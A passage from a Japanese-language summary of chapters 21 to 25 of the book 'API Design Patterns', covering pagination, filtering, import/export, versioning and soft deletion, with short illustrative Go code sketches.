nil}この実装例では、ページトークンを使用してオフセットを管理し、最大ページサイズを制限しています。また、次のページがあるかどうかを判断するために、要求された制限よりも1つ多くのリソースを取得しています。ページネーションの影響とトレードオフ著者は、ページネーションの導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: ページネーションは、大規模なデータセットを扱う際のパフォーマンスを大幅に向上させます。しかし、適切に実装されていない場合(例:オフセットベースのページネーション)、データベースへの負荷が増大する可能性があります。一貫性と可用性のバランス: 完全な一貫性を保証しようとすると、システムの可用性が低下する可能性があります。著者は、このトレードオフを明確に理解し、適切なバランスを取ることの重要性を強調しています。クライアント側の複雑性: ページネーションは、クライアント側の実装を複雑にする可能性があります。特に、全データを取得する必要がある場合、クライアントは複数のリクエストを管理する必要があります。キャッシュ戦略: ページネーションは、キャッシュ戦略に影響を与えます。各ページを個別にキャッシュする必要があり、データの更新頻度によってはキャッシュの有効性が低下する可能性があります。これらの影響とトレードオフを考慮しながら、ページネーションの実装を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: ページネーションは、マイクロサービス間でのデータ転送を最適化する上で重要な役割を果たします。各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化することで、システム全体のパフォーマンスが向上します。イベント駆動アーキテクチャとの連携: ページネーションは、イベントストリームの処理にも応用できます。大量のイベントを処理する際に、ページネーションを使用することで、消費者が管理可能なチャンクでイベントを処理できるようになります。データの一貫性と鮮度: ページネーション中にデータが変更される可能性があるため、データの一貫性と鮮度のバランスを取る必要があります。特に、リアルタイム性が求められるシステムでは、この点に注意が必要です。クエリパフォーマンスの最適化: ページネーションの実装方法によっては、データベースへの負荷が増大する可能性があります。特に、オフセットベースのページネーションは大規模なデータセットで問題が発生する可能性があります。カーソルベースのページネーションなど、より効率的な方法を検討する必要があります。レスポンスタイムの一貫性: ページサイズを固定することで、各リクエストのレスポンスタイムをより一貫したものにすることができます。これは、システムの予測可能性と信頼性を向上させる上で重要です。エラー処理とリトライ戦略: ページネーションを使用する際は、ネットワークエラーやタイムアウトに対する適切なエラー処理とリトライ戦略が重要になります。特に、長時間にわたるデータ取得プロセスでは、この点に注意が必要です。モニタリングと可観測性: ページネーションの使用パターンを監視することで、システムの使用状況やボトルネックを特定することができます。例えば、特定のページサイズやフィルタ条件が頻繁に使用されている場合、それらに対して最適化を行うことができます。ページネーションと全体的なシステムアーキテクチャページネーションの設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとインデックス設計: 効率的なページネーションを実現するためには、適切なデータモデルとインデックス設計が不可欠です。特に、大規模なデータセットを扱う場合、この点が重要になります。キャッシュ戦略: ページネーションを使用する場合、各ページを個別にキャッシュする必要があります。これにより、キャッシュ戦略が複雑になる可能性があります。特に、データの更新頻度が高い場合、キャッシュの有効性が低下する可能性があります。負荷分散とスケーリング: ページネーションを使用することで、システムの負荷をより均等に分散させることができます。これにより、システムのスケーラビリティが向上します。バックエンドサービスの設計: ページネーションを効率的に実装するためには、バックエンドサービスの設計を適切に行う必要があります。特に、データベースクエリの最適化や、ページトークンの生成と管理が重要になります。API設計の一貫性: ページネーションの設計は、API全体の設計と一貫性を保つ必要があります。例えば、ページネーションパラメータの命名規則や、レスポンス形式などを統一することが重要です。結論第21章「Pagination」は、APIにおけるページネーションの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの使いやすさ、効率性、そして全体的なシステムのスケーラビリティを大きく向上させる可能性があります。特に重要な点は以下の通りです。ページネーションは、大規模なデータセットを扱う際に不可欠な機能です。最大ページサイズを使用し、正確なページサイズを保証しないことで、システムの柔軟性と効率性が向上します。ページトークンは不透明であるべきで、クライアントはその内容を理解したり操作したりする必要はありません。データの一貫性と可用性のバランスを取ることが重要です。完全な一貫性を保証することは難しい場合があり、この制限を明確に文書化する必要があります。ページネーションの設計は、システム全体のアーキテクチャ、パフォーマンス、スケーラビリティに大きな影響を与えます。これらの原則を適切に適用することで、開発者は使いやすく、効率的で、スケーラブルなAPIを設計することができます。特に、大規模なデータセットを扱う場合や、リソースが制限されている環境(モバイルアプリケーションなど)でのAPIの使用を想定している場合、ページネーションは極めて重要な役割を果たします。しかし、ページネーションの導入には慎重な検討も必要です。特に、データの一貫性、クライアント側の複雑性、キャッシュ戦略などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、ページネーションの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。ページネーションの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。22 Filtering「API Design Patterns」の第22章「Filtering」は、APIにおけるフィルタリング機能の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はフィルタリングが単なる便利な機能ではなく、APIの効率性、使いやすさ、そして全体的なシステムのパフォーマンスにどのように影響を与えるかを明確に示しています。フィルタリングの必要性と概要著者は、標準的なリスト操作だけでは特定の条件に合致するリソースのみを取得することが困難であるという問題提起から議論を始めています。大規模なデータセットを扱う現代のシステムにおいて、クライアントが全てのリソースを取得してから必要なデータをフィルタリングするというアプローチは、非効率的であり、システムリソースの無駄遣いにつながります。この問題は、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において顕著です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。サーバーサイドでのフィルタリングは、このような環境でのデータ転送を最適化し、システム全体のパフォーマンスと応答性を向上させる重要な手段となります。著者は、フィルタリングの基本的な実装として、標準的なリストリクエストにfilterフィールドを追加することを提案しています。このフィールドを通じて、クライアントは必要なデータの条件を指定し、サーバーはその条件に合致するリソースのみを返すことができます。フィルタリングの実装著者は、フィルタリングの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。フィルター表現の構造: 著者は、構造化されたフィルター(例:JSONオブジェクト)ではなく、文字列ベースのフィルター表現を推奨しています。これにより、APIの柔軟性が向上し、将来的な拡張が容易になります。実行時間の考慮: フィルター式の評価は、単一のリソースのコンテキスト内で完結すべきであり、外部データソースへのアクセスや複雑な計算を含むべきではありません。これにより、フィルタリング操作の予測可能性と効率性が確保されます。配列要素のアドレス指定: 著者は、配列内の特定の位置の要素を参照するフィルタリングを避け、代わりに配列内の要素の存在をチェックするアプローチを推奨しています。これにより、データの順序に依存しない柔軟なフィルタリングが可能になります。厳格性: フィルター式の解釈は厳格であるべきで、あいまいな表現や型の不一致は許容せず、エラーとして扱うべきです。これにより、フィルタリングの信頼性と予測可能性が向上します。カスタム関数: 基本的なフィルタリング機能では不十分な場合に備えて、カスタム関数の導入を提案しています。これにより、複雑なフィルタリング要件にも対応できます。これらの原則を適用した、Golangでのフィルタリング実装の例を以下に示します。type ListResourcesRequest struct { Filter string `json:\\"filter\\"` MaxPageSize int `json:\\"maxPageSize\\"` PageToken string `json:\\"pageToken\\"`}func (s *Service) ListResources(ctx context.Context, req *ListResourcesRequest) (*ListResourcesResponse, error) { filter, err := parseFilter(req.Filter) if err != nil { return nil, fmt.Errorf(\\"invalid filter: %w\\", err) } resources, err := s.repository.GetResources(ctx) if err != nil { return nil, err } var filteredResources []*Resource for _, resource := range resources { if filter.Evaluate(resource) { filteredResources = append(filteredResources, resource) } } // ページネーションの処理 // ... return &ListResourcesResponse{ Resources: filteredResources, NextPageToken: nextPageToken, }, nil}この実装例では、フィルター文字列をパースし、各リソースに対して評価関数を適用しています。フィルターの解析と評価は厳格に行われ、無効なフィルターや型の不一致はエラーとして扱われます。フィルタリングの影響とトレードオフ著者は、フィルタリング機能の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: サーバーサイドでのフィルタリングは、ネットワーク帯域幅の使用を最適化し、クライアントの処理負荷を軽減します。しかし、複雑なフィルター式の評価はサーバーリソースを消費する可能性があります。柔軟性と複雑性のバランス: 文字列ベースのフィルター表現は高い柔軟性を提供しますが、解析と評価の複雑さが増加します。これは、エラーハンドリングとセキュリティの観点から慎重に管理する必要があります。一貫性と可用性: フィルタリング結果の一貫性を保証することは、特に分散システムにおいて課題となります。データの更新とフィルタリング操作のタイミングによっては、結果が異なる可能性があります。セキュリティの考慮: フィルター式の評価は、潜在的なセキュリティリスクを伴います。インジェクション攻撃や過度に複雑なクエリによるDoS攻撃の可能性に注意する必要があります。これらのトレードオフを適切に管理することが、フィルタリング機能の成功的な実装の鍵となります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: フィルタリングはマイクロサービス間のデータ交換を最適化する上で重要な役割を果たします。各サービスが必要最小限のデータのみを要求・提供することで、システム全体の効率性が向上します。クエリ最適化: フィルタリング機能は、データベースクエリの最適化と密接に関連しています。効率的なインデックス設計やクエリプランの最適化が、フィルタリングのパフォーマンスに大きな影響を与えます。キャッシュ戦略: フィルタリング結果のキャッシングは、システムのパフォーマンスを大幅に向上させる可能性があります。しかし、キャッシュの有効性とデータの鮮度のバランスを取ることが課題となります。バージョニングと後方互換性: フィルター構文の進化は、APIのバージョニング戦略に影響を与えます。新機能の追加や変更が既存のクライアントに影響を与えないよう、慎重に管理する必要があります。モニタリングと可観測性: フィルタリング操作のパフォーマンスと使用パターンを監視することで、システムの最適化機会を特定できます。例えば、頻繁に使用されるフィルターパターンに対して特別な最適化を行うことが可能になります。フィルタリングとシステムアーキテクチャフィルタリング機能の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: 効率的なフィルタリングを実現するためには、適切なデータモデルとスキーマ設計が不可欠です。フィルタリングが頻繁に行われるフィールドに対しては、適切なインデックスを設定する必要があります。分散システムにおけるフィルタリング: マイクロサービスアーキテクチャにおいて、フィルタリングはしばしば複数のサービスにまたがって行われる必要があります。このような場合、フィルタリングロジックの配置と実行方法を慎重に設計する必要があります。リアルタイムシステムとの統合: ストリーミングデータや実時間性の高いシステムにおいて、フィルタリングはより複雑になります。データの到着と処理のタイミングを考慮したフィルタリング戦略が必要となります。セキュリティアーキテクチャ: フィルタリング機能は、データアクセス制御と密接に関連しています。ユーザーの権限に基づいて、フィルタリング可能なデータの範囲を制限する必要があります。エラー処理とレジリエンス: フィルタリング操作の失敗がシステム全体に与える影響を最小限に抑えるため、適切なエラー処理とフォールバック機構を実装する必要があります。結論第22章「Filtering」は、APIにおけるフィルタリング機能の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの使いやすさ、効率性、そして全体的なシステムのパフォーマンスを大きく向上させる可能性があります。特に重要な点は以下の通りです。フィルタリングは、大規模なデータセットを扱う現代のシステムにおいて不可欠な機能です。文字列ベースのフィルター表現を使用することで、APIの柔軟性と拡張性が向上します。フィルター式の評価は、単一のリソースのコンテキスト内で完結し、外部データソースへのアクセスを避けるべきです。フィルター式の解釈は厳格であるべきで、あいまいな表現や型の不一致はエラーとして扱うべきです。カスタム関数の導入により、複雑なフィルタリング要件にも対応できます。これらの原則を適切に適用することで、開発者は使いやすく、効率的で、スケーラブルなAPIを設計することができます。特に、大規模なデータセットを扱う場合や、リソースが制限されている環境(モバイルアプリケーションなど)でのAPIの使用を想定している場合、適切なフィルタリング機能の実装は極めて重要です。しかし、フィルタリング機能の導入には慎重な検討も必要です。特に、パフォーマンス、セキュリティ、データの一貫性などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、フィルタリング機能の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。フィルタリング機能の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。23 Importing and exporting「API Design Patterns」の第23章「Importing and exporting」は、APIにおけるデータのインポートとエクスポートの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はインポートとエクスポート機能が単なるデータ移動の手段ではなく、APIの効率性、柔軟性、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。インポートとエクスポートの必要性と概要著者は、大規模なデータセットを扱う現代のシステムにおいて、効率的なデータの移動が不可欠であるという問題提起から議論を始めています。従来のアプローチでは、クライアントアプリケーションがAPIからデータを取得し、それを外部ストレージに保存する(またはその逆)という方法が一般的でした。しかし、このアプローチには大きな問題があります。特に、データがAPIサーバーとストレージシステムの近くに位置しているにもかかわらず、クライアントアプリケーションが遠隔地にある場合、大量のデータ転送が必要となり、効率が著しく低下します。著者は、この問題を解決するために、APIサーバーが直接外部ストレージシステムとやり取りするカスタムメソッドを導入することを提案しています。具体的には、importとexportという2つのカスタムメソッドです。これらのメソッドは、データの転送だけでなく、APIリソースとバイトデータ間の変換も担当します。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。インポート/エクスポート機能を適切に設計することで、サービス間のデータ移動を最適化し、システム全体のパフォーマンスと応答性を向上させることができます。インポートとエクスポートの実装著者は、インポートとエクスポートの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。構造の分離: 著者は、データの転送と変換を別々の設定インターフェースで管理することを提案しています。具体的には、DataSource/DataDestinationインターフェースでデータの移動を、InputConfig/OutputConfigインターフェースでデータの変換を管理します。この分離により、システムの柔軟性と再利用性が大幅に向上します。長時間実行操作(LRO): インポートとエクスポート操作は時間がかかる可能性があるため、著者はこれらの操作をLROとして実装することを推奨しています。これにより、クライアントは操作の進行状況を追跡し、完了を待つことができます。一貫性の考慮: エクスポート操作中にデータが変更される可能性があるため、著者はデータの一貫性について慎重に検討しています。完全な一貫性を保証できない場合、「スメア」(一時的な不整合)が発生する可能性があることを明確に示しています。識別子の扱い: インポート時に識別子をどのように扱うかについて、著者は慎重なアプローチを提案しています。特に、既存のリソースとの衝突を避けるため、インポート時に新しい識別子を生成することを推奨しています。失敗とリトライの処理: インポートとエクスポート操作の失敗とリトライについて、著者は詳細なガイダンスを提供しています。特に、インポート操作のリトライ時に重複リソースが作成されないよう、importRequestIdの使用を提案しています。これらの原則を適用した、Golangでのインポート/エクスポート機能の実装例を以下に示します。type ImportExportService struct { // サービスの依存関係}func (s *ImportExportService) ExportResources(ctx context.Context, req *ExportRequest) (*longrunning.Operation, error) { op := &longrunning.Operation{ Name: fmt.Sprintf(\\"operations/export_%s\\", uuid.New().String()), } go s.runExport(ctx, req, op) return op, nil}func (s *ImportExportService) runExport(ctx context.Context, req *ExportRequest, op *longrunning.Operation) { // エクスポートロジックの実装 // 1. リソースの取得 // 2. データの変換(OutputConfigに基づく) // 3. 外部ストレージへの書き込み(DataDestinationに基づく) // 4. 進捗の更新}func (s *ImportExportService) ImportResources(ctx context.Context, req *ImportRequest) (*longrunning.Operation, error) { op := &longrunning.Operation{ Name: fmt.Sprintf(\\"operations/import_%s\\", uuid.New().String()), } go s.runImport(ctx, req, op) return op, nil}func (s *ImportExportService) runImport(ctx context.Context, req *ImportRequest, op *longrunning.Operation) { // インポートロジックの実装 // 1. 外部ストレージからのデータ読み取り(DataSourceに基づく) // 2. データの変換(InputConfigに基づく) // 3. リソースの作成(importRequestIdを使用して重複を防ぐ) // 4. 進捗の更新}この実装例では、インポートとエクスポート操作を非同期で実行し、LROを通じて進捗を追跡できるようにしています。また、データの転送と変換を分離し、柔軟性を確保しています。インポートとエクスポートの影響とトレードオフ著者は、インポート/エクスポート機能の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: APIサーバーが直接外部ストレージとやり取りすることで、データ転送の効率が大幅に向上します。しかし、これはAPIサーバーの負荷を増加させる可能性があります。一貫性と可用性のバランス: エクスポート中のデータ一貫性を保証することは難しく、「スメア」が発生する可能性があります。完全な一貫性を求めると、システムの可用性が低下する可能性があります。セキュリティの考慮: APIサーバーが外部ストレージに直接アクセスすることで、新たなセキュリティ上の課題が生じる可能性があります。適切なアクセス制御と認証メカニズムが不可欠です。運用の複雑さ: インポート/エクスポート機能の導入により、システムの運用が複雑になる可能性があります。特に、失敗したオぺレーションの処理とリカバリーには注意が必要です。バックアップ/リストアとの違い: 著者は、インポート/エクスポート機能がバックアップ/リストア機能とは異なることを強調しています。この違いを理解し、適切に使い分けることが重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: インポート/エクスポート機能は、マイクロサービス間のデータ移動を最適化する上で重要な役割を果たします。各サービスが独自のインポート/エクスポート機能を持つことで、サービス間のデータ交換が効率化されます。クラウドネイティブ環境での活用: クラウドストレージサービス(例:Amazon S3、Google Cloud Storage)との直接統合により、データの移動と処理を効率化できます。大規模データ処理: ビッグデータ分析や機械学習のためのデータ準備において、効率的なインポート/エクスポート機能は不可欠です。コンプライアンスとデータガバナンス: データのインポート/エクスポート操作をAPIレベルで制御することで、データの流れを一元管理し、コンプライアンス要件への対応を容易にします。障害復旧とシステム移行: 適切に設計されたインポート/エクスポート機能は、災害復旧やシステム移行シナリオにおいても有用です。結論第23章「Importing and exporting」は、APIにおけるデータのインポートとエクスポートの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、柔軟性、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。インポート/エクスポート機能は、APIサーバーと外部ストレージ間の直接的なデータ移動を可能にし、効率を大幅に向上させます。データの転送(DataSource/DataDestination)と変換(InputConfig/OutputConfig)を分離することで、システムの柔軟性と再利用性が向上します。長時間実行操作(LRO)として実装することで、クライアントは非同期で操作の進行状況を追跡できます。データの一貫性、識別子の扱い、失敗とリトライの処理には特別な注意が必要です。インポート/エクスポート機能はバックアップ/リストア機能とは異なることを理解し、適切に使い分けることが重要です。これらの原則を適切に適用することで、開発者は効率的で柔軟性の高いAPIを設計することができます。特に、大規模なデータセットを扱う場合や、複雑なマイクロサービスアーキテクチャを採用している場合、適切なインポート/エクスポート機能の実装は極めて重要です。しかし、この機能の導入には慎重な検討も必要です。特に、セキュリティ、データの一貫性、システムの複雑性の増加などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、インポート/エクスポート機能の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にデータ移動の効率を向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切に設計されたインポート/エクスポート機能は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。Part 6 Safety and security最後のパートでは、APIの安全性とセキュリティに関する重要なトピックが扱われています。バージョニングと互換性の維持、ソフト削除、リクエストの重複排除、リクエストの検証、リソースのリビジョン管理、リクエストの再試行、リクエストの認証など、APIの信頼性と安全性を確保するための様々な手法が詳細に解説されています。これらの要素は、APIの長期的な運用と進化において極めて重要です。24 Versioning and compatibility「API Design Patterns」の第24章「Versioning and compatibility」は、APIのバージョニングと互換性の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はバージョニングと互換性の管理が単なる技術的な詳細ではなく、APIの長期的な成功と進化に直接影響を与える重要な戦略的決定であることを明確に示しています。バージョニングの必要性と互換性の概念著者は、ソフトウェア開発、特にAPIの進化が避けられない現実から議論を始めています。新機能の追加、バグの修正、セキュリティの向上など、APIを変更する理由は常に存在します。しかし、APIはその公開性と厳格性ゆえに、変更が難しいという特性を持っています。この緊張関係を解決するための主要な手段として、著者はバージョニングを提案しています。バージョニングの本質は、APIの変更を管理可能な形で導入し、既存のクライアントに影響を与えることなく新機能を提供することです。著者は、バージョニングの主な目的を「ユーザーに可能な限り多くの機能を提供しつつ、最小限の不便さで済ませること」と定義しています。この定義は、APIデザインにおける重要な指針となります。互換性の概念についても詳細に説明されています。著者は、互換性を「2つの異なるコンポーネントが正常に通信できる能力」と定義しています。APIのコンテキストでは、これは主にクライアントとサーバー間の通信を指します。特に、後方互換性(新しいバージョンのAPIが古いクライアントコードと正常に動作する能力)が重要です。この概念は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが互いに依存し合う環境では、一つのAPIの変更が全体のシステムに波及的な影響を与える可能性があります。適切なバージョニング戦略は、このような環境でのシステムの安定性と進化を両立させるために不可欠です。後方互換性の定義著者は、後方互換性の定義が単純ではないことを指摘しています。一見すると「既存のコードが壊れないこと」という定義で十分に思えますが、実際にはより複雑です。著者は、後方互換性の定義が「APIを利用するユーザーのプロファイルと期待」に大きく依存すると主張しています。例えば、新しい機能の追加は通常後方互換性があると考えられますが、リソースが制限されているIoTデバイスのような環境では、新しいフィールドの追加でさえメモリオーバーフローを引き起こす可能性があります。また、バグ修正についても、それが既存のクライアントの動作に影響を与える可能性がある場合、後方互換性を損なう可能性があります。著者は、以下のようなシナリオについて詳細に議論しています。新機能の追加バグ修正法的要件による強制的な変更パフォーマンスの最適化基礎となるアルゴリズムや技術の変更一般的な意味的変更これらの各シナリオにおいて、変更が後方互換性を持つかどうかは、APIのユーザーベースの特性と期待に大きく依存します。例えば、金融機関向けのAPIと、スタートアップ向けのAPIでは、安定性と新機能に対する要求が大きく異なる可能性があります。この議論は、APIデザインが単なる技術的な問題ではなく、ビジネス戦略と密接に関連していることを示しています。APIデザイナーは、技術的な側面だけでなく、ユーザーのニーズ、ビジネス目標、法的要件などを総合的に考慮してバージョニング戦略を決定する必要があります。バージョニング戦略著者は、いくつかの主要なバージョニング戦略について詳細に説明しています。永続的安定性(Perpetual stability): 各バージョンを永続的に安定させ、後方互換性のない変更は常に新しいバージョンで導入する戦略。アジャイル不安定性(Agile instability): アクティブなバージョンの「滑走窓」を維持し、定期的に古いバージョンを廃止する戦略。セマンティックバージョニング(Semantic versioning): メジャー、マイナー、パッチの3つの数字を使用して変更の性質を明確に示す戦略。各戦略には、それぞれ長所と短所があります。例えば、永続的安定性は高い安定性を提供しますが、新機能の導入が遅くなる可能性があります。一方、アジャイル不安定性は新機能の迅速な導入を可能にしますが、クライアントに頻繁な更新を強いる可能性があります。セマンティックバージョニングは柔軟性と明確性を提供しますが、多数のバージョンの管理が必要になる可能性があります。これらの戦略の選択は、APIのユースケース、ユーザーベース、開発リソース、ビジネス目標など、多くの要因に依存します。例えば、マイクロサービスアーキテクチャを採用している組織では、各サービスが独立してバージョニングを行う必要がありますが、全体的な一貫性も維持する必要があります。このような環境では、セマンティックバージョニングが適している可能性が高いです。Golangのコンテキストでは、以下のようなバージョニング戦略の実装例が考えられます。type APIVersion struct { Major int Minor int Patch int}type APIClient struct { Version APIVersion // その他のクライアント設定}func (c *APIClient) Call(endpoint string, params map[string]interface{}) (interface{}, error) { // バージョンに基づいてAPIコールを調整 if c.Version.Major == 1 { // v1のロジック } else if c.Version.Major == 2 { // v2のロジック } else { return nil, fmt.Errorf(\\"unsupported API version: %v\\", c.Version) } // 実際のAPI呼び出しロジック}このような実装により、クライアントは特定のAPIバージョンを指定して操作を行うことができ、サーバー側では各バージョンに応じた適切な処理を行うことができます。バージョニングのトレードオフ著者は、バージョニング戦略を選択する際の主要なトレードオフについて議論しています。粒度 vs 単純性: より細かいバージョン管理は柔軟性を提供しますが、複雑さも増加します。安定性 vs 新機能: 高い安定性を維持するか、新機能を迅速に導入するかのバランス。満足度 vs 普遍性: 一部のユーザーを非常に満足させるか、より多くのユーザーに受け入れられる方針を取るか。これらのトレードオフは、APIの設計と進化に大きな影響を与えます。例えば、高度に規制された産業向けのAPIでは、安定性と予測可能性が最も重要かもしれません。一方、急速に進化するテクノロジー分野では、新機能の迅速な導入が優先されるかもしれません。運用の観点からは、これらのトレードオフは以下のような影響を持ちます。インフラストラクチャの複雑さ: 多数のバージョンを同時にサポートする必要がある場合、インフラストラクチャの管理が複雑になります。モニタリングと可観測性: 各バージョンの使用状況、パフォーマンス、エラーレートを個別に監視する必要があります。デプロイメントの戦略: 新バージョンのロールアウトと古いバージョンの段階的な廃止をどのように管理するか。ドキュメンテーションとサポート: 各バージョンのドキュメントを維持し、サポートを提供する必要があります。結論第24章「Versioning and compatibility」は、APIのバージョニングと互換性管理の重要性と、その適切な実装方法を明確に示しています。著者の提案する原則は、APIの長期的な成功と進化を確保する上で非常に重要です。特に重要な点は以下の通りです。バージョニングは、APIの進化を可能にしつつ、既存のクライアントへの影響を最小限に抑えるための重要なツールです。後方互換性の定義は、APIのユーザーベースと彼らの期待に大きく依存します。バージョニング戦略の選択には、粒度vs単純性、安定性vs新機能、満足度vs普遍性などのトレードオフがあります。適切なバージョニング戦略は、APIの使用目的、ユーザーベース、開発リソース、ビジネス目標など、多くの要因を考慮して選択する必要があります。バージョニングはAPIの設計だけでなく、インフラストラクチャ、運用、サポートなど、システム全体に影響を与えます。これらの原則を適切に適用することで、開発者は長期的に持続可能で進化可能なAPIを設計することができます。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境では、適切なバージョニング戦略が全体的なシステムの安定性と進化可能性を確保する上で極めて重要です。バージョニングと互換性の管理は、技術的な問題であると同時に、戦略的な決定でもあります。API設計者は、技術的な側面だけでなく、ビジネス目標、ユーザーのニーズ、法的要件、運用上の制約など、多くの要因を考慮してバージョニング戦略を決定する必要があります。適切に実装されたバージョニング戦略は、APIの長期的な成功と、それに依存するシステム全体の安定性と進化可能性を確保する重要な基盤となります。最後に、バージョニングと互換性の管理は継続的なプロセスであることを認識することが重要です。技術の進化、ユーザーのニーズの変化、新たな法的要件の出現などに応じて、バージョニング戦略を定期的に見直し、必要に応じて調整することが求められます。この継続的な管理と適応が、APIの長期的な成功と、それに依存するシステム全体の健全性を確保する鍵となります。25 Soft deletion「API Design Patterns」の第25章「Soft deletion」は、APIにおけるソフト削除の概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はソフト削除が単なるデータ管理の手法ではなく、APIの柔軟性、データの保全性、そして全体的なシステムの運用性にどのように影響を与えるかを明確に示しています。ソフト削除の動機と概要著者は、ソフト削除の必要性から議論を始めています。従来のハード削除(データの完全な削除)には、誤って削除されたデータを復元できないという重大な欠点があります。著者は、この問題に対する解決策としてソフト削除を提案しています。ソフト削除は、データを実際に削除せず、「削除された」とマークすることで、必要に応じて後で復元できるようにする手法です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが相互に依存し合う環境では、一つのサービスでデータが誤って削除されると、システム全体に波及的な影響を与える可能性があります。ソフト削除を適切に実装することで、このようなリスクを軽減し、システムの回復力を高めることができます。著者は、ソフト削除の基本的な実装として、リソースに deleted フラグを追加することを提案しています。このフラグにより、リソースが削除されたかどうかを示すことができます。さらに、expireTime フィールドを追加することで、ソフト削除されたリソースの自動的な完全削除(ハード削除)のスケジューリングも可能になります。ソフト削除の実装著者は、ソフト削除の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。標準メソッドの修正: 標準的なCRUD操作、特に削除(Delete)操作を修正し、ソフト削除をサポートする必要があります。リスト操作の調整: 標準的なリスト操作では、デフォルトでソフト削除されたリソースを除外し、オプションでそれらを含める機能を提供します。アンデリート操作: ソフト削除されたリソースを復元するための新しいカスタムメソッドを導入します。完全削除(Expunge)操作: ソフト削除されたリソースを完全に削除するための新しいカスタムメソッドを導入します。有効期限の管理: ソフト削除されたリソースの自動的な完全削除をスケジュールするための仕組みを実装します。これらの原則を適用した、Golangでのソフト削除の実装例を以下に示します。type Resource struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` Deleted bool `json:\\"deleted\\"` ExpireTime time.Time `json:\\"expireTime,omitempty\\"`}type ResourceService interface { Get(ctx context.Context, id string) (*Resource, error) List(ctx context.Context, includeDeleted bool) ([]*Resource, error) Delete(ctx context.Context, id string) error Undelete(ctx context.Context, id string) error Expunge(ctx context.Context, id string) error}func (s *resourceService) Delete(ctx context.Context, id string) error { resource, err := s.Get(ctx, id) if err != nil { return err } resource.Deleted = true resource.ExpireTime = time.Now().Add(30 * 24 * time.Hour) // 30日後に自動削除 return s.update(ctx, resource)}func (s *resourceService) List(ctx context.Context, includeDeleted bool) ([]*Resource, error) { resources, err := s.getAll(ctx) if err != nil { return nil, err } if !includeDeleted { return filterNonDeleted(resources), nil } return resources, nil}この実装例では、Resource 構造体に Deleted フラグと ExpireTime フィールドを追加し、Delete メソッドでソフト削除を実装しています。また、List メソッドでは includeDeleted 